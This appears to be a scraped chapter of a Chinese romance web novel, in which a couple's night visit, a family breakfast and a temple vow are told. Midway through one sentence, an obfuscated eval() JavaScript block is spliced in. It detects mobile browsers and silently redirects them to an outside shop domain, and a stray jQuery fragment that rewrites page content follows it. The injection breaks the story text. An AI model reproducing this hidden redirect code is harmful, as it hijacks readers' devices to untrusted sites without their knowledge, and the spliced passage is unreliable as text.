周先生:
【在应酬,要喝酒,预计十一点结束。】
窗外清凌凌的月光缀满枝桠,几声虫鸣在耳畔一闪而过。
温旎推开窗,对着院子拍了张照片回过去:
【晚上吃的有些多,睡不着,准备制香,你应酬完早点回酒店休息。】
点击发送,她关掉手机,垂眸看着长桌上的十二只白瓷碟,里面分别盛着平阴玫瑰红瓣、老山檀磨成的浅黄粉末、褐色陈皮薄片、乌梅干皱的果肉,还有一小碗黄酒,在光下漾着琥珀色的光。
先把将玫瑰干花与檀香粉放进铜臼轻碾,等粉末逐渐变成暖粉色,取乌梅与陈皮一同研细,最后加入三分甘草,将粉料筛入陶钵,再缓缓倾入黄酒,用竹片顺时针搅动。
酒液渗进粉末的瞬间,香气骤然活过来,玫瑰的甜混着酒韵,加之乌梅的酸和檀香的沉,在空气中发酵。
她合掌将湿粉揉成团,最后点上针尖大小的龙脑,捏成十颗莲子大小的香丸,铺在竹筛上阴干。
做完这些,她长舒一口气,拿起手机一看,已经十一点半了,周先生没再回信息过来。
她在竹筛上盖了个罩子,转身准备去洗手时,吱呀一声,左边的窗户向内打开,一只骨节分明的大掌正撑在窗边,下一瞬,一道黑影轻轻一跃,利落翻进室内。
温旎惊诧:“你怎么这个时候过来了?”这人怎么这么爱翻墙啊......
“想你就过来了。”周柏梃站定后拍了拍手,环视一周,低笑着,“怪不得当时讨厌我,原来是我占了你的地盘。”怪不得当时他睡的床四角都系着香囊,窗边养着一株兰花。原来小姑娘精心布置的秘密基地被他一个臭男人给占了,要是他,他也要不开心摆脸。
温旎歪头莞尔一笑:“现在知道也不晚。”
周柏梃斜身抱臂靠在圆柱上,歪头瞧着她,扯唇一笑:“真好。”
“什么真好?”温旎不解。
周柏梃笑得醉意朦胧:“梦想成真了。”
九年前的那三个月,两人不知在这个房间里聊了多少天,说了多少话。
当时他从奢求过,有一天,他们会以男女朋友的身份在这里见面。
“旎旎,你不知道我盼这一天盼了多久。”
她当然知道九年有多久,也知道能压抑感情压抑九年的人有多疯,更知道或许在不久后他会让自己亲眼见证自己有多疯狂。
她弯唇,自然地转了个话题:“院子的墙那么高,怎么不走正门?”
“明儿才是正儿八经登门拜访外公外婆的日子,但我今晚实在是想你。”
周柏梃缓步走来,捉起她的手腕举到鼻尖嗅了嗅,“刚刚制的什么香?”
她指腹压着他的唇轻轻摩挲:“玫瑰和酒的混合香。”
“是单独给我做的吗?”他笑得眉目疏朗,她歪头扬眉,“是公司下个季度的主推款,给你单独做的香还在想配方。”
“成,我等着。”
周柏梃双手掐着女人细腰,微微用力将她抱在胸前转了两圈。小姑娘惊呼了两声,他贴着她的唇,身子往后一仰,拥着她齐齐倒向贵妃榻。
他头靠在软枕上,让小姑娘整个趴在他身前,捏捏她挺翘的鼻尖,哄道:“别勉强自己,公司亏损的钱我来出,你开开心心就成。”
两人脚尖相抵,温旎手肘抵在男人胸前,掌心托着下颌,惊讶道:“你怎么知道亏损了?”
“当老板不黑心,赚不了钱。”
男人胸腔微震,大掌扣着她的后脑勺,强迫她趴回他胸前,身体与他严丝合缝相贴。
另一只手钻进她指缝,与她十指紧扣。
她轻哼一声:“我就当你是夸我了。”
他用鼻尖蹭她脸颊:“不用当,就是在夸你。”
后院儿因为太久没住人,所以即便平日里有人打扫,二楼房间因为没有人气儿,走进去阴森森的。
她牵起他的手转身:“你还是跟我回我房间吧,动作要轻一点。”
两人刚走出月亮门,竹林深处传来几句交谈——
“欸,小小姐是不是还在后院儿?”
“好像是,我们过去看看小小姐需不需要帮忙。”
温旎脚步一顿,扯着男人的手腕闪身藏在一株参天古树后面,树干粗壮,足足能挡住两个人的身形。
他欺身贴上来,牙尖咬着她脖颈一点软肉厮磨,清新的沐浴香钻入鼻腔。
她掐了一把他硬邦邦的大臂,低声斥责:“你干嘛!”约莫是酒劲儿上来了,他皮肤烫得吓人。
“谁在那里!”
脚步声渐进,温旎心随之提到了嗓子眼,稳住声线:“是我,你们去后院看看灯关了没有。”
脚步声渐远,男人停下动作,从她颈窝抬头,黑白分明的长眸懵懂,微微上挑的眼尾浸着一缕红。她被他这副“呆萌”的模样逗得差点笑出声,忍着笑意捏了捏他的掌心。
温旎的房间在前院的一个单独小院子里,位于钟园的东方,是风水最好的地方,院中打理得别致典雅,室内是纯现代化装修。
她洗完澡出来,周柏梃裸着上半身仰靠在沙发上,眉心紧拧,双臂打开搭在沙发背,手臂肌肉线条清晰流畅,西裤严丝合缝地贴着没有一丝赘肉的腰部,收成窄窄一束,黑色皮带落在他脚边。
她几步上前,单膝跪在他身侧的沙发上,腰间横过一只手臂,他抱起她放在腿上,静静地瞧了她一会儿,扯唇一笑:“我学到了新知识。”
她手足无措,慌慌忙忙去扯他的头发阻止他的进一步动作。
他抬头,用炽热的眼神制止她,薄唇轻启,一字一顿道:“温旎,我喜欢伺候你。”
*
翌日清晨,温旎扶着腰洗漱、化妆、换衣服,刚走出院门,听迎上前的佣人说周先生来了,正在前厅和老先生老太太聊天。
她暗自吐槽,这人哪里来的这么好的精力!
不知那位巧言善辩的周先生说了什么,外公爽朗的笑声隔着竹林往她耳朵里钻。
裴长清瞥见正拎着旗袍裙摆迈过门槛的孙女,叹了口气:“吃过早饭,你们两个和我一起去上柱香,看看是正缘还是孽缘。”她对北京有偏见,但柏梃这个孩子没什么偏见,旎旎这么大难得说喜欢一个人,她无论如何也不能做棒打鸳鸯的事。
老两口一贯讲究,哪怕是一顿早饭也吃得精致不已。
桌面上青花碟子错落摆开,碗盏的釉色在晨光里泛着温润的光。每人面前一只薄胎白瓷碗,盛着刚出锅的鸡头米糖水,芡实粒粒浑圆饱满,在琥珀色的冰糖水里沉浮,缀着几粒金桂,清香润甜。旁边一只浅口盘,码着四只蟹粉小笼包,皮薄如纸,隐约可见里面蟹黄的色泽。
靠窗的位置摆了一只青瓷小盅,里面盛着今早刚从园子里摘的紫红杨梅。
裴长清端过一只白瓷小碗,将炖了一早的燕窝轻轻推到温旎面前,目光在她脸上流连,心疼地蹙起眉:“旎旎,我怎么觉得你又瘦了?这下巴尖得都能戳破纸了。”
温旎放下筷子,也不急着反驳,而是先举起手臂,把披肩往上一捋,小臂上那段肌肉线条绷出漂亮的弧度。她仰着下巴,模样带着几分少见的傲娇:“不是瘦,是健康。外婆你摸摸,我还有肌肉呢。”她一周两次普拉提、三次力量训练,可没白坚持。
裴长清伸手捏了捏,指腹下果然是硬邦邦的。
她收回手,嘴上还在嘀咕:“我总觉得你只要离开我,就照顾不好自己了。”
钟羡朗夹了一筷桂花糖藕放进自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17669563|206288||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
碗里,笑呵呵地打圆场:“他们年轻人现在都讲究身材管理,只要健康,胖瘦都没关系。旎旎自己心里有数,你就别操心了。”老太太轻轻哼了一声,到底没再说什么。
周柏梃一直安静地听着,手里拿着公筷,给三人依次布菜。
“回头我找个营养师,根据旎旎的口味偏好定制一日三餐。”
温旎舀了一勺燕窝送进嘴里,甜润的汁水在舌尖化开,她含糊地“唔”了一声,没接话。
钟羡朗搁下粥碗,随口问了一句:“对了旎旎,九月份你是不是就要去念MBA了?”
温旎咽下口中的食物,点了点头:“嗯。”
周柏梃把剥好的一只虾放进她碗里,接过话头:“我刚好在京大和你公司中间那地段有套房子,回头过户给你。到时候你上班上学都方便。”说这话时他又夹起一只杨梅放在她碟边。
裴长清抬起眼皮看了他一眼,没说话。钟羡朗倒是笑了一声,目光在两人之间转了一圈,什么也没说,低头继续喝粥。
晨光又亮了一些,从花窗格子里漫进来,窗外有细细的鸟叫声,隔着一层薄薄的竹帘,像是怕惊动室内的安静融洽。
今日天实在是奇怪,几人往寺庙去的路上还是艳阳高照,车刚停在寺庙门口,遮天蔽日的乌云里酝酿出瓢泼大雨,砸在车顶咚咚作响。
早就等在门口的方丈让小沙弥递到车内一把伞,周柏梃接过,推开副驾驶的门,绕到后座,伞顶接着车顶,把手臂递给老太太:“外婆,您慢点。
裴长清眼角扬起几道细纹,摆了摆手:“你们年轻人撑一把伞,我自己能走。”
周柏梃坚持:“这儿都是青石板,下了雨容易打滑,我扶着您,把您送进去我过来接旎旎。”
温旎探身附和:“是啊,外婆,地面都是水,让他扶着您过去。”
一老一少相携踏入雨幕。
雨水沿着伞沿淌下来,在青石板上砸出一朵一朵小小的水花。
走到殿前檐下,裴长清拢了拢肩上的薄披肩,瞧着周柏梃湿了半边的肩头,忽然开口:“柏梃,你和我交个底。你家里那边,什么态度?”
周柏梃放下伞,双臂垂在身侧,手攥成拳,雨水顺着他的指缝往下淌:“外婆,我家里,我说了算。”
“你们家那点事,外人不知道,我们心里可一清二楚。”裴长清低低叹了口气。“柏梃,你别嫌我接下来话难听。”
周柏梃扯唇一笑:“没事,外婆,您尽管说。”他什么难听的话没听过?更何况眼前的人是温旎又敬又爱的外婆,也是他的外婆。
裴长清望着远处灰蒙蒙的雨幕:“我们旎旎要学历有学历,要家世有家世,要样貌有样貌,性格好又聪明。她要是想嫁,多得是比你优秀、家里比你安生的人家争着抢着来娶。我本来一万个不同意你们在一起,但她又是让她外公打电话过去,不让你爷爷因为江家的事给你压力,又是跟我说她心里是真的喜欢你。我们爱她,自然事事都想让她称心如意。”
“外婆,您说的我都知道。”周柏梃侧身望向殿内。
供桌上,那双悲悯的眼睛安静地垂着,香火缭绕在他身前。
“我和旎旎在一起,确实是我高攀了。我也知道您最担心的是什么。我今天可以在佛祖面前和您起誓——”他抬起眸,直直看向那双眼,“我保证,周家那些乱七八糟的事,绝不会让旎旎跟着费一点心。我更不会和我父亲一样,作出任何不堪的事。我要是背叛她,惹她伤心,我不得好死。”
殿外的雨还在下,檐角的雨水连成一道透明的帘幕。
裴长清仰头看了看天,乌云深处隐隐透出一线亮光。她弯了弯唇角:
“挺好的,没打雷。你去接旎旎吧!等会儿你们记得分开上香。”